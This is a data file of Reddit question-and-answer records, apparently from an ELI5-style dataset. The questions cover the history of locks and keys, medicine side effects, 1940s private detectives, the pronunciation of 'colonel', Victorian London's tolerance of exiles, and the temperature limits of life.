{"q_id": "16fw4o", "title": "When was the key invented? How did people protect their belongings before the invention of the key?", "selftext": "Edit: Thank you everyone for the answers and for the links. Definitely worth reading them.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16fw4o/when_was_the_key_invented_how_did_people_protect/", "answers": {"a_id": ["c7vny0j", "c7vo03g", "c7vo5aq", "c7von5w", "c7vorqj", "c7vp1tg", "c7vr1of", "c7vrbtv", "c7vtag2", "c7vum03", "c7wbyy5"], "score": [7, 332, 64, 8, 20, 13, 13, 9, 7, 70, 2], "text": ["This is a fascinating question. For quick reference, I found two websites [(\"Dimensions Info\")](_URL_1_) and an [_URL_2_ page](_URL_3_) stating Egyptians used locks over 4,000 years ago, and that the inventor of the lock is thought to have been [Theodorus of Samos](_URL_0_).", "The oldest key lock found was in Khorsabad Palace an estimated 4000 years ago, before that it was basically just a wooden slat across the door in Europe. They were originally made with wood and were fairly simple, it was only in about the 18th century that they began to become more complicated, with multiple pins etc\n\n[Source](_URL_0_)\n\n[Khorsabad Palace Key-Lock Plan](_URL_1_)\n\nOn a more general level though locks probably wouldn't have been used that much. For anyone rich enough to have a huge amount of possessions to protect they could probably hire a guard if they were out or asleep, the general populace would be too poor to afford the lock, let alone valuables worth stealing. The need for locking your door tended to only really be needed in urban areas, of which were much much smaller 4000 years ago.", "The Pitt-Rivers Museum in Oxford has an excellent collection of ancient to modern keys (the idea of the museum is to compare objects with similar functions side by side rather than presenting things in chronological order). [Here's an interesting article](_URL_0_) about their collections which might help answer some of your questions. And if you are ever in Oxford, go check these out -- I believe they are on the first floor (British -- so second floor to Americans). ", "I've heard stories about the theif knot. _URL_0_\n\ndoesn't protect your stuff but is evidence of tampering which is all most locks really prevent against.", "Slate magazine did a really neat feature about the history of Keys in June, you can find it [here](_URL_0_).", "The plains Indians of North America would use a \"possession stick\" as a marker for their belongings. \n\nIt was just a decorated stick placed on a bundle on the prairie designating ownership. Simple. Not sure it would work against a thief, but it was something. ", "Disclaimer: not a historian.\n\nA couple of points:\n\n* Locks [go back a ways](_URL_1_):\n\n >  ...the earliest depiction of a lock should be found on a bas-relief in an Egyptian temple at Kamak dating from 2000BC\n\n* Keys can't do all that much to protect valuables in a typical house from someone who really wants them today.  Your door to your suburban house is locked?  Well, I'll go break a window.  Your car is locked?  I've watched a skilled locksmith zip past a car lock in a few seconds.  They're to help keep people honest.\n\n* Banks [took deposits since quite a while back](_URL_0_); while that doesn't entirely explain how *banks* kept valuables safe, I suspect that having many people place valuables in one trusted location makes keeping them guarded much-less-expensive.\n\n* People could no doubt hide valuables, just as they do today.  Burying something would presumably work for something that doesn't need to be used on a regular basis.\n\n* If you back far enough, people didn't have quite as much *stuff* to lug around.", " > How did people protect their belongings before the invention of the key?\n\nBurying items, perhaps sealed in vases or hides, was once a very common way to keep valuables safe.  It was utilized extensively by (but not limited to)  nomadic peoples who would visit an area only during certain times of the year.  Items could be buried and retrieved later without the worry of carrying them around for the entire season.\n\nBurying food was a bully denial technique.  Stealing food was more common than we today imagine, and one of the only ways to completely hide food was to bury it in a random location.  You could then tell the bully that you were completely out of food and recover it later.", "Not sure if this is alright to post as a followup question.  Would door bars have been used at all?  They would require someone inside, but that could be a child or an elder or someone who could work in doors.  What about trained animals like dogs?", "I don't know exactly why this question is attracting so many sub-par answers. All speculation, jokes, gaming lore and unsourced top comments have been removed.", "Schuyler Towne did a great talk on the history of locks and their importance recently: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Theodorus_of_Samos", "http://www.dimensionsinfo.com/tabular-key-dimensions/", "About.com", "http://inventors.about.com/library/inventors/bllock.htm"], ["http://inventors.about.com/library/inventors/bllock.htm", "http://www.locks.ru/germ/informat/schlagehistory.htm"], ["http://web.prm.ox.ac.uk/rpr/index.php/article-index/12-articles/739-on-primitive-locks-and-keys"], ["http://www.itstactical.com/skillcom/knots/knot-of-the-week-thief-knot/"], ["http://www.slate.com/slideshows/life/the-history-of-key-design.html#all"], [], ["https://en.wikipedia.org/wiki/History_of_banking", "http://www.buildingconservation.com/articles/locks/locks.htm"], [], [], [], ["http://www.youtube.com/watch?v=3nROJz_UNQY"]]}
{"q_id": "ca7we1", "title": "why do modern medicines have so many side effects? do traditional medicines (like herbs and roots) have these side effect?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ca7we1/eli5_why_do_modern_medicines_have_so_many_side/", "answers": {"a_id": ["et6hdm7", "et6mlk9", "et6nduh", "et6o00n"], "score": [8, 8, 5, 19], "text": ["Yes, and possibly worse ones.  Alternatively perhaps the \"traditional\" medicines have fewer side effects but *don't work as well or at all*.  Remember that blood letting is a \"traditional\" remedy and it is more likely to kill you than do anything.", "The side effects are anything exhibited by a patient during clinical trials. They can't say for sure if a side effect is caused by the drug or caused by something totally different so they have to disclose it", "Medicine works by tinkering with your body's chemistry.  You body is such a delicate ballance of chemicals, that it's difficult to do that without lots of side effects.  Tinker with one aspect of your body's chemistry and you effect 20 other things without meaning to.  In generation, the more potent the effects, the more severe the side effects because you are making a bigger alteration to the body.  \n\n\nTraditional medicines can indeed have side effects.  They were guesswork and trial and error and were limited in what they could do. Modern medicine offer much more possibilities and isn't based on old wives fables, rumors, and guesswork.", "Many (possibly even most) modern drugs are highly concentrated forms of compounds found in or based on those in herbal medicines or discovered in natural organisms. \n\nThe classic example is aspirin, which is a modified form of salicylic acid, the active ingredient in Willow bark. \n\nOther examples are morphine from opium or Taxol from yew trees. Many antibiotics are also derived from compounds produced by molds and other fungi. \n\nThese drugs are (ideally) specifically chosen to amplify the therapuetic effects of the natural version while minimizing the side effects. \n\nHowever, it's almost impossible to have a drug that doesn't have side effects. Even a perfectly targeted drug can do too much of what's its supposed to if you take too much of it (eg too much aspirin causing bleeding), and almost all drugs have off target effects that are hard to predict (eg aspirin causing hearing damage at high doses). \n\nNatural remedies are often either underdosed so they don't have any effects, positive or negative, or are scams that don't contain the active ingredient at all. \n\nRed yeast rice, for example, by law cannot have the active statin compound in it. \n\nAlso, many herbal remedies do have side effects. Willow bark tea causes bad ulcers, St John's Wort can make birth control pills ineffective, etc"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "799fdp", "title": "What were the legal requirements to become a private detective in New York, in the 1940s? What kind of cases would they be dealing with the most?", "selftext": "I am not writing a book or anything, just wondering where the typical hard boiled stereotypes come from and how do they compare to reality. Lost cats, unfaithful spouses, priceless antiques getting lost and the bodies piling up...I would also be happy to hear anything about the literary history of the genre and how it ties back into the real world. Thanks in advance to anyone who answers!:)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/799fdp/what_were_the_legal_requirements_to_become_a/", "answers": {"a_id": ["dp06ct8"], "score": [7], "text": ["There's definitely more to be said on this specific topic, but there's some good answers on similar topics - specifically, /u/petite-acorn on [the Pinkerton detective agency in the 19th century](_URL_1_), and /u/mikedash on [the phenomenon of the hotel detective](_URL_2_). Alternatively, with the literary history of the genre, Interesting Inquirer /u/chikindiner asked a similar question over at /r/AskLiteraryStudies and [got some good responses](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskLiteraryStudies/comments/64ll95/was_the_hardboiled_detective_of_film_noir_and/", "https://www.reddit.com/r/AskHistorians/comments/5067co/19thcentury_private_detective_agencies_like/d72rk2r/", "https://www.reddit.com/r/AskHistorians/comments/6sfj2v/whatever_happened_to_the_house_dick/dldl01g/"]]}
{"q_id": "wh3wk", "title": "why colonel is pronounced like kur-nl.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wh3wk/eli5_why_colonel_is_pronounced_like_kurnl/", "answers": {"a_id": ["c5d9my6", "c5d9n1s", "c5d9qrj", "c5da0b4", "c5da3b8", "c5db43d", "c5dcbzw", "c5denhe", "c5dezrh", "c5df5c1", "c5dk1n7"], "score": [3, 51, 23, 16, 371, 4, 3, 2, 3, 6, 2], "text": ["It's better than colon-el. ", "Everyone wants to say Co-lo-nul and not kur-nl, but no one has the guts to do it. Instead we are all forced to live a lie and pretend it's the truth. Sorry, pistol pete.", "According to [_URL_1_](_URL_0_), both colonel and coronel were spellings that were used hundreds of years ago. The \"r\" version won out as the standard pronunciation, but the \"l\" version won as the standard spelling.", "It's just one of those words in English that doesn't follow any pronunciation rules.  Actual English Ph Ds have used it in arguments to add more restrictions to English spelling / pronunciation rules.  Another argument they use is that with English pronunciation rules \"ghoti\" (not a word) could be pronounced \"fish\" \n\nGh makes f sound from \"enough\"\no makes i sound from \"women\"\nti makes sh sound from \"nation\"\n\nEnglish is a wild language, really\n\nEdit: typos.\n", "A bit of etymology might be helpful here. Via [Etymology Online](_URL_0_).\n\nHere's a timeline so you can see exactly how the word changes over time:\n\nBack in the days of ancient Rome, the word 'columna' was used to refer to a pillar. Many years later, Rome fell, but the Latin language gave rise to many of what we call the Romance languages. As part of this, 'columna' morphs into one part of the term 'compagna colonella' (Italian) to refer to a column of soldiers. The leader of that column is called the 'colonnella'. When the French adopt the word, it becomes 'coronel', and later 'coronell'. When translated into English, the Italian form of the word is preserved (hence colonel), but the French pronunciation is used.\n\nAnd that's why we write colonel, but say coronel. There was even a time when both forms of the word were being used simultaneously, during the 16 and 1700s, but ultimately the 'l' form of the word won out.\n\nSimpler version: Words change over time. The word colonel is hundreds and hundreds of years old, and has changed a lot. Once upon a time, it was actually pronounced with an 'l', but as time went on, the word changed even more, kind of like a game of telephone. You know; one person mishears something, another might change it just because they can, even though they heard perfectly well the first time, and by the time it gets to the end of the line, the word you started with, and the word you wind up with are completely different and might not even make sense.", "Well in Spanish it is \"Coronel\". They clearly have the same root so Im pretty sure its just another case of wacky English spelling.", "[I know what made you submit this post.](_URL_0_)", "in the Philippines, it's pronounced as... KERRRRNEL ...RRrrrrr!", "All words change over time at least a little while people use them. Sometimes words lose parts (syllables) and become smaller. This happens sometimes because of how people say the word. They say a certain part of the word with more power than another part (primary stress), and over time it's like they forget to say that other part at all (syncope). When this happens, sometimes certain sounds that used to be apart are right next to each other (consonant cluster). This can make words hard to say. When an *l* sound and *n* sound are right next to each other some people who speak certain languages find it hard to say, like a word \"colnel\". You see, an *l* and *n* right next to each other never seems to happen in their language (phonotactic restriction). But *r* next to *n* is much easier for them to say, and it turns out l and r are very similar sounds, so one changes to the other without them really knowing or even trying to change it (rhotacism). So instead of people trying to say \"colnel\", which is hard, they say something that sounds like cornel, which is easy.", "Why do British people pronounce \"lieutenant\" *lef-ten-uhnt*?\n\nAnd [binoculars](_URL_0_)?", "For that matter, why do British people pronounce \"lieutenant\" as \"lef-tenant\"? This drives me crazy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://dictionary.reference.com/browse/colonel?s=t", "dictionary.com"], [], ["http://www.etymonline.com/index.php?term=colonel"], [], ["http://www.reddit.com/r/funny/comments/wgke3/why_do_you_look_so_nervous_colonel_im_sure_you/"], [], [], ["http://www.youtube.com/watch?v=39NzlZGXat0"], []]}
{"q_id": "cxgki2", "title": "In the 19th century, many radical/controversial individuals, including Marx and refugees from the revolutions of 1848, settled in London. What made the UK such a safe place for exiled revolutionaries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cxgki2/in_the_19th_century_many_radicalcontroversial/", "answers": {"a_id": ["eylfxdy"], "score": [101], "text": ["It is an interesting question that I have encountered preparing my dissertation last year.\n\nThe protection of individual rights and freedoms is a cornerstone of British liberalism that even hard-line Tories shyed away from tampering too much with. Of course the sympathy reserved for someone like Marx and other radicals was different from that reserved for people that were more in line with the moderate stance of the British government. It is however reasonable to think that there was a genuine support in the British middle class for the upholding of these principles, as is possible to gather from informations about charitable subscriptions in the press.\n\nThis type of humanitarianism fit really well with the Victorian vision of being the pinnacle of civilized society and the polar opposite of what was considered continental tyranny.\n\nOf course it is hypocritical how this mindset largely did not extend to native colonial subjects but on British soil continental revolutionaries did enjoy a basic level of tolerance and, depending on the popularity of their cause, even support from different strata of society and lived in one of the arguably less policed societies in Europe.\n\nIf you wish to read more in general about the Victorian approach to humanitarianism I suggest Caroline Shaw's \"Britannia's embrace\". If you are interested in a case study, Elena Bacchin in \"Italofilia\" describes quite in depth the reception and stay of some revolutionary Italian refugees. I think there is an English translation of the latter book but I am not 100% sure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3pws4t", "title": "Is ~-40C to 40C the only temperature range for any lifeforms to exist? Or could there be lifeforms that we cannot imagine at -150C or 4000C?", "selftext": "0 Kelvin is the coldest point, but the hottest point is infinite. So what makes ~ 300 Kelvin habitable for life? Why 300? Why not 5000? Or could there be (in theory) life at 5000 Kelvin?\n\n\nEDIT: I am not only talking about life on earth. I am just wondering that in a scale of 0 Kelvin to infinite Kelvin, why are we alive at around 300 Kelvin? Could there be a planet with a temperature of 5000 Kelvin where there is (concsious) life in theory?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3pws4t/is_40c_to_40c_the_only_temperature_range_for_any/", "answers": {"a_id": ["cwa2jzd", "cwa3cab", "cwa3qq4", "cwa3u1x", "cwa4chj", "cwa4lvq", "cwa618n", "cwa6cn7", "cwa6oni", "cwa7w0f", "cwa92ot", "cwa9m8c", "cwa9qt8", "cwaa1kr", "cwaav46", "cwabfmx", "cwabsxt", "cwac0fo", "cwac93i", "cwacats", "cwacn3q", "cwadsqe", "cwadsrr", "cwadxsz", "cwaimmp", "cwaiqov", "cwairyv", "cwalgm0", "cwalt4h", "cwandwu", "cwaqgdt", "cwaqm25", "cwarnv4", "cwavo9j", "cwaz54n"], "score": [1578, 390, 20, 27, 80, 10, 78, 4, 46, 12, 4, 2, 2, 4, 4, 6, 9, 7, 3, 3, 2, 34, 2, 3, 3, 2, 2, 17, 3, 2, 2, 3, 3, 5, 3], "text": ["I won't attempt to answer the question, but as a geologist I have to correct your basic assumptions concerning the temperature range of Life As we Know It (LAWKI).\n\nThe uppermost temperature we know of for living and active metazoans (complex multicellular life) is at the edge of actively venting black smokers, where worms of the species *Alvinella pompejana* have been observed \"just chilling\" at temps of 80\u00b0 C (and at a pH of about 3.5). When it comes to an uppermost limit for microbes and extremophiles, it might even be necessary to go even higher. For instance, in Mississippi Valley type Pb-Zn deposits there is ample evidence for the fractionation of sulphur isotopes from biogenically mediated sulphate reduction up to about 120\u00b0 C.\n\nSo a revised statement would have to be from about -40\u00b0 C  up to 120\u00b0 C; or a range of 160 degrees if you'd rather see it that way. And I'd check that lower limit as well; there has been a lot of recent work on extremophiles and I'd look into data on cryophiles (with which I am admittedly unfamiliar) just to be on the safe side if I were you.", "Any water based life form would require the temperatures and pressures to be around those required for H2O to be liquid. Other life could theoretically exist at temperatures and pressure outside that range, but would have to be based on a different solvent. For example, ammonia based life would require much colder temperatures.\n\n[Here's a Wikipedia link](_URL_0_) discussing hypothetical types of biochemistry.", "There are some species of bacteria called extremophiles that can tolerate extremely harsh environmental conditions. Some can live in extremely salty places, others very acidic. There are some that can live in extremely hot enviroments like the vents around a volcano etc.\n\n_URL_0_\n\nThat is the link to wikipedia which sums it up relatively simply.", "In addition to the excellent points made by Gargatua13013:\n\nThe reason life is only found between certain temperature extremes is because cell structures begin to crystallise below freezing and also begin to malfunction and even break apart at high enough temperatures. Such temperatures thus cannot support normal cellular function or life. The reason that cryophiles can survive (and thrive) at below freezing is because they have evolved adaptations to handle these temperature extremes, such as producing antifreeze, of sorts, for their cells, to prevent cell disruption.", "The only data we have to work with is what we find here on this Earth. Beyond that, we have nothing but pure speculation. We don't know what is and is not possible. We can guess, with more or less educated thought to back up those guesses, but until we go out and look, we'll never know for sure.\n\nThere *might* be interplanetary sentient gas clouds floating out there. There *might* be five-dimensional superfluid helium-breathers enjoying the tropical heat of Pluto. There *might* be superintelligent shades of the color blue. Or there might not. Let's go look!", "In addition to what's already been said, there has been a lot of work into studying Saturn's moon Titan as a possible location for life.\n\nTitan is extremely cold and as such has no liquid water on it's surface. But it does have lakes of liquid hydrocarbons, mostly methane and ethane. It's possible that some sort of life based on cold liquid hydrocarbons instead of liquid water exists on Titan, but at the current time all work done on the subject is speculative and we have no real evidence for any sort of life there yet.", "Life is really just a bunch of atoms held together with chemical bonds. It's very unlikely that life could exist at extremely high temperatures like the 5000 K you mentioned in your post because at these temperatures, the chemical bonds will break and you would just be left with a bunch of atoms floating around.", "It is entirely possible that life could be made of molten metals using bio-electromagnets to hold it's organelles together. Science just isn't at the point where we can predict 'far-out' forms of life. Naturally they have been speculating about life on titan made with hydrocarbons but we don't really understand how our own life came to be and we can physically study it.", "Bond enthalpies for chemical formation probably form the basis for an upper limit.  \n\nAs for a lower limit, I would guess that the limit would be the coldest solvent capable of interacting with a large enough set of molecules.  Water is a really awesome solvent for a lot of things, so we have a large number of really interesting life forms.  Maybe on a planet cold enough for a liquid nitrogen environment some crazy thing evolved.  A more educated individual might comment here on which solvents are more likely, as I'm fairly certain liquid nitrogen isn't one of them.\n ", "Where we sometimes hobble ourselves is we look at things in a perspective that is familiar to us. We assume that we and our surroundings are the benchmark for all things. I think that if we can accept the possibility of life, in some form, outside of the Earth's atmosphere then we to broaden the views we have.  \n\nIf you look at life on our own little planet you see that life exist in places as diverse as the bottom of the ocean at thermal vents, where not only is there life but many forms. The coldest regions of the planet also contain a varied set of life forms that live through extreme conditions.\n\n The animals that really amazes me has already been mentioned, the tardigrade or water bear. This little thing has been abused by everything from the vacuum and radiation of space to boiling, freezing, dehydration, starvation to take your pick and it consistently survives. They are also relatively cute. Something any kid might want as a pet and couldn't kill no matter how many time they forgot to take care of it. \n\nI think you put it best in saying \"we cannot imagine\" that is our limit for discovery. It is possible that the nature of life can only exist at some temperature spectrum but we still don't have a definite understanding of life. We barely understand the life around us let alone what could be happening more than a hundred or so miles or more above our heads. ", "I work in materials development in temperatures ranging from 800-1100C.  One of the most difficult problems we encounter is many compounds simply do not survive at these temperatures, and those that do are relatively inert chemically.  With such a limited amount of reactivity, it's hard for me to fathom how life of any kind could truly exist.  It seems like it would need to be based on mechanical rather than chemical principles.", "Liquid water is the solvent for all the biochemical reactions that take place within living organisms. If the temperature gets too low the water freezes, if it gets too high then the water boils and proteins lose their tertiary structure (they deform in shape and are unable to perform their function). There are extremophiles which are adapted to live outside the normal thermal range of most life. \n\nSome produce proteins which function as natural antifreeze which allow them to exist at temperatures below zero. However at these temperatures metabolism becomes very slow as the molecules have very little energy and do not move around much. When temperatures become extremely low these reactions will cease as they cannot overcome the activation energy.\n\nThere are also extremophiles which are able to withstand higher temperatures. They generally do so by having more robust protein structures which are able to maintain function at higher temperatures. There would be a limit at where the temperature was too great and the molecular bonds would simply break.", "\"could there be lifeforms we cannot imagine\"\n\nI'd imagine not.\n\nIn all seriousness, we'd need to explore some more varied environments than can be found on Earth to figure that out.  After all, our history is replete with instances of people flatly stating that something is impossible, right up until the moment that someone does it.  Likewise, we're most likely to find that life can exist in such conditions when we find one.  All of the biology we know is based on the things contained within the limits you mention in your question, because that's everywhere we've gone.", "On our planet, we thought oxygen was the key to life, and been proven wrong. If we have even the slightest shot at discovering life on other planets, we have to keep an open mind, because in reality, we don't know dick about what it takes to support life. \n\nSo I believe that, yes, life can exist outside of the temperature range we know of because our sample size is miniscule. ", "Speaking strictly from logic, we have no real basis on which to give you a meaningful answer.  The only example of life we have to use as a basis of comparison is life here on earth.  Life as we know it won't survive in those conditions, but that doesn't mean that life *couldn't possibly* come about in different conditions.  Theoretically, sure - a fantastical form of life *could* arise in more extreme temperatures, or perhaps even in the vacuum of space.  We don't know enough about life to say yes or no, because we've only ever seen life from this planet.", "The main issue is that our view and definition of life is quite limited by the \"few\" examples of life we see on Earth...the variety of adaptations, allowed chemical pathways, and various environmental conditions is absolutely staggering if you consider all possible planets, all possible stars, and all possible elements in the periodic table as a basis for your hypothetical lifeforms.\n\n\nThere is also hard limit, however: the temperature associated with total deionization of any element within the periodic table. After this point, all possible basic chemistry vanishes and is replaced with complex plasma interactions. You could conceivably have life exist without chemistry, but it would make things a lot harder to 1) start an evolution-like process, and 2) maintain that process. Normal stellar temperatures (2000 K+) provide a rough limit.\n\n\n**tl;dr**: too much heat makes it exponentially harder for self-replicating things to maintain themselves; stellar temperatures provide that temperature limit if we assume life requires basic chemistry (not necessarily organic chemistry).", "[This](_URL_0_) (pdf warning) 1976 paper by Sagan and Salpeter considers these issues in the context of life in Jupiter's atmosphere.", "Stephen Baxter hypothesised about a form of electronic life in the chaotic surface of a neutron star, reliant on spin states, magnetism and cluster formation for its \"DNA\" and feeding on magnetic flux and electricity. That is a couple of million K. \nIt is, of course, fiction, but it encourages one to think more widely than water and lipid bilateral. \nBonus: these life forms experienced the Universe at about 1 million times the speed we perceive it - their whole civilisation evolving in a single year, blossoming and ... Well, read the books. ", "There are a type of archaea commonly called \"extremophiles\" that can exist in extreme environments, like next to steam vents at the bottom of the ocean where temperatures are insane and no other life can flourish. Some kinds can also thrive on the opposite side of the spectra and live in extreme cold. These organisms are a good example of how life can find a way. Who knows maybe on other planets where life seems impossible these organisms reign supreme.", "The other answers have described how *chemical* life requires certain characteristics like a liquid solvent and certain carbon-like elements for building blocks for metabolism, protein, and genetics. \n\nAny life based on these principles will be restricted to those temperatures, because that's where the chemistry works.\n\nHowever, other life is theoretically possible. For example, artificial intelligence would be a life form based on electrical signals (or optical, for some types of computers). If it occurred naturally, it could exist at cryogenic temperatures. By some standards, that's negative infinity - 1 K is half as warm as 2K, 0.5k is half that, and so on - you can always get colder!  But that's a big \"if\"! With millions of man-years and trillions of dollars invested in electronics, we can't make it happen artificially yet. The minimum bar for self-replicating chemical structures in a primordial soup is high, this one seems even higher.   That a working computer with enough working hardware to make a semiconductor manufacturing plant and electrical power plant, plus a hard drive with bits randomly selected to execute an artificial intelligence program would randomly start up seems too unlikely. But if it did, you would have life at a wide range of temperatures somewhere in the universe.\n\nAlso, life could theoretically occur at temperatures much higher than chemical reactions. Nuclear reactions, for example! There is a fantastic hard sci-fi novel about life on a neutron star, where strong nuclear forces cause interactions between protons and neutrons at extreme temperatures under unimaginable gravity and produce life. It's called \"Dragon's Egg\" by Robert Forward. The temperature of a neutron star is on the order of 10^6 to 10^12 K! There aren't stable environments in the universe much hotter than that, so that would be the other end of the scale.", "One of the primary constraints operating here is the temperature of liquid water, which is used as a carrier medium for metabolic processes on earth. Frozen water allows insufficient mobility for chemical processes, and steam is too diffuse to be of much help. However, life-forms can survive and operate at sub-freezing temperatures since their water contains other elements that reduce the freezing point and they produce heat energy helping to maintain temperature. There are life forms that survive at near-boiling temperatures, but these temperatures tend to have sufficient energy to re-organize complex carbon chains, making things relatively unstable. Increased pressure helps make things a bit more stable, so high-temperature life forms are more likely to be seen underwater at depth.\n\nTheoretically, it may be possible for a liquid other than water to perform a similar function, but it would need to be fairly neutral chemically and mix readily with chemicals supporting life processes. Such a liquid may operate within a very different temperature range. A very different temperature range may also require something other than carbon chains as the building-block of life.", "Depends on what your definition of life is. If you mean locally entropy-minimizing self-replicating assemblages of baryonic matter that evolved naturally from simple precursors, then water+carbon may be the only game in town.\n\nIf your definition includes non-evolved (I.e. designed) systems - aka machines - then it is conceivable that complex self-sustaining and/or self-replicating systems could exist on more exotic substrates (say, in electrical and magnetic structures in liquid helium, or plasma, or perhaps something we're not yet aware of like dark matter or dark energy).\n\nOne possible solution to the Fermi paradox (if the universe is so big, where are the aliens?) might be that advanced civilizations inevitably move off of water-carbon substrates onto other more exotic ones as their technology advances, and that they then become unrecognizable/undetectable to us.", "The necessary biological habitat for life as we know it, i.e. earth-like life, requires these conditions...but that being said, who is to say that life hasn't evolved elsewhere to breathe methane gas or stay comfortable at 400 degrees?", "An interesting side-point I want to bring up: Another key factor in this discussion that's often overlookep is not the temperature range, but it's stability.\n\nIt's very unlikely that a single organism can survive in a highly variable temperature environment because the types of chemical reactions that occur will change at the ends of the spectrum. This ends up ruling out many planets without even requiring an explicit temperature range or elemental makeup on what kind of life we are looking.\n\nBecause of this, one major factor scientists have used to rule out potential life-inhabiting planets is whether their climates are stable. One of the major reasons that our climate is stable is actually the moon. This is the basis of a lot of rare-earth hypothesis logic (life is not abundant in the universe because the set of conditions on earth leading to life is actually very rare)", "Well organisms are known to live up to 100c on earth, so 40 certainly isn't the limit. I studied life in volcanic vents in grad school and the temp was 55-90 and was pretty full of life. \n\nIf you change pressure you could probably get above that, but once water boils you are a little screwed. \n\nProteins will degrade unless you have chaperones, but most extremophiles do.  DNA also denatures at high temps. ", "If I'm not mistaken this is totally possible. The reason we search for planets in the \"habitable\" zone that resembles earth is because we know for a fact that life succeeds there. In theory it could exist in other ways as well, but it would be sort of silly to search for something we don't even know how to identify in an area that may only be theoretically possible to sustain life. I believe NDT talked about this concept in one of his podcasts.\n\nI know that isn't your question exactly, but I'm guessing it's related.", "Life-as-we-know-it, i.e. based on the chemicals we are familiar with, can not. Simple physics and chemistry, how molecules interact with each other changes with temperature, substances change phase state, etc.\n\nLife based on [*something-else*] might, but we don't have a feasible test compounds to fill that blank with. at 5000 kelvin, well, titanium boils at 3560 K, so pretty much everything is a gas or plasma at 5000 Kelvin. Heck, the sun is 5,778 K, so we're talking fusion.\n\nOK, a star-environment.. for life to form here, you would need some sort of self-replicating pattern to be built out of fusion-hot plasma and intense magnetic fields. Well, I don't think we've proven it's *not* possible, but I also don't know of any proposed mechanism where it might be possible.\n\nin short, as far as we can tell, life requires it to be warm enough that things can change at an appropriate pace, cool enough for matter to congeal, and within a range that lets highly complex molecules form and interact in a giant variety. And that last bit is a subset of the first two requirements.", "There seems to be a lot of people suggesting that we can't make predictions about what life on another planet would like since we only know what can exist in Earth's environment.\n\nThis is NOT true though.  Assuming we are talking about chemically based self reproducing life, there are some assumptions we can make regardless of the environment. \n\n*The most common elements in the universe are Hydrogen, Helium, Oxygen, and Carbon.  This means life using other elements is significantly less likely to occur.\n\n *self replicating life requires atoms that can not only participate in complex and varied chemistry (in order to store information), but that are also stable relative to each other thermodynamically.  The prime example of this is carbon and silicon.  While both can form long chains and at least four bonds at a time, the Si-O bond is far more stable than an Si-Si bond.  This prevents information from being stored and passed down (imagine if your DNA switched itself around frequently).\n\n*In order for chemical processes to occur (necessary for life!) molecules have to come into contact with each other.  This is why a liquid solvent is so important!  Gas molecules do not come into contact with each other frequently enough, and solids do not allow for enough movement.  This puts hard limits on the temperature ranges allowable.  Liquid ammonia freezes at -78 C and Methane at -182.  Likewise, at even higher temperature most elements will form plasmas, which like gases are not likely to allow for significant molecular interactions.\n\n*Mechanical life is highly unlikely to evolve on its own.  By definition machines employ parts that are larger than a molecule, and the odds of mechanical parts coming together through the random fluctuations of the universe is astronomically small.\n\nWhile it is impossible to say definitively that other forms of life do not exist, we have very good reasons to believe that life will most likely be carbon and liquid based, and this is not being anthropocentric!  For those interested in reading more on the subject I recommend \"Astrobiology\" by Kevin Plaxco, he presents the information in an interesting and accessible way without dumbing it down.\n", "There are bacteria that live within thermal vents on the bottom of the ocean floor at a much higher temperature than what you're suggesting, and tardigrades in space living at temperatures much colder than what you're suggesting.  There is also not an 'infinite' point for heat, there is a limit for how hot something can get just as there is a limit to how cold something can get.", "5000K is the surface temperature of a star.. If there is life on the sun or any other star, it hasn't been detected or theorized yet.  The universe is a big place.\n\nPerhaps life does exist on other planets with extreme temperatures, such as Titan.  That would be exciting.", " > I am just wondering that in a scale of 0 Kelvin to infinite Kelvin, why are we alive at around 300 Kelvin? Could there be a planet with a temperature of 5000 Kelvin where there is (concsious) life in theory?\n\nSo, this is something that is difficult to answer because we do not know how conscious thought works.  We have many definitions for the idea of [consciousness](_URL_0_), none of which give us a basis to determine if other systems are conscious without their direct interaction.\n\nIn addition, the definitions we do have are many and frequently argued over, which creates many more problems.  For example, there are many people who would argue that many animals (and even computer software to a degree) posses sentience by some definitions (ability to differentiate between self and not self), but by other definitions are less clear (ability to use imagery and symbolism in the mind).", "I think the possibilities are as near to infinite as the stars.\n\nIt's awful human to think our kind of life is the only possible life.\n\nI wonder if there could be beings so hugely advanced and evolved that they've passed on to just some form of consciousness that doesn't even require a corporeal form. \n\nWhat about machines with artificial minds that have achieved sentience. What if they start making other machines like them? Is that life? Not organic life certainly but still.\n\nThe fun thing about speculation like this is that pretty much anything is possible. Physics as we know it may place limitations but do we understand it ALL? I doubt it. I think we're still monkeys.", "The first step to answer this question is to define 'life'.  DNA based life is what exists on this planet.  \nYou can find the theoretical range for DNA based life by using the temperatures not too hot for DNA to exist but warm enough for DNA to activate.   \n\nHowever if you use the definition of life as \"capacity for growth, reproduction, functional activity, and continual change preceding death.\"  Then you do have a near limitless theoretical range.  \n\nYou could have plant sized creatures that live in the near zero temperatures of deep space.  They float along catching material with their gravitational well and produce needed heat internally.  They could have life spans of eons.  \n\nYou could have organisms made of some type of complex interaction of plasma that can only live in the temperatures found on stars.  These might have life spans ranging from nano to micro seconds as the form new entities even as they spin apart.  Once you open up your definition of life all these things are theoretically possible. ", "There is no way to negate any temperature range with certainty.\n\nIn the infinite possibility that is our universe, there is a strong likelihood that anything you can conceive of exists in some form.\n\nConsider it Rule 34 of space: if you thought about it, it could exist.\n\nMarvel comics included beings that were entire planets - is that impossible?  No - it's not likely; but, not impossible.", "We don't have empirical data on non-carbon based lifeforms (obviously). Your question turns on two things (1) what is the meaning of \"conscious life\", and (2) what chemical environments are sufficient for the emergence of conscious life.\n\nIt seems that \"life\" can be most broadly understood as persistent and self-replicating patterns in a chemical substrate. We need a stew of chemicals that allows patterns to form that can use energy to maintain themselves and to make copies of themselves.\n\nConsciousness is probably best thought of in terms as goal directed information processing about states internal or external to an orgaism. 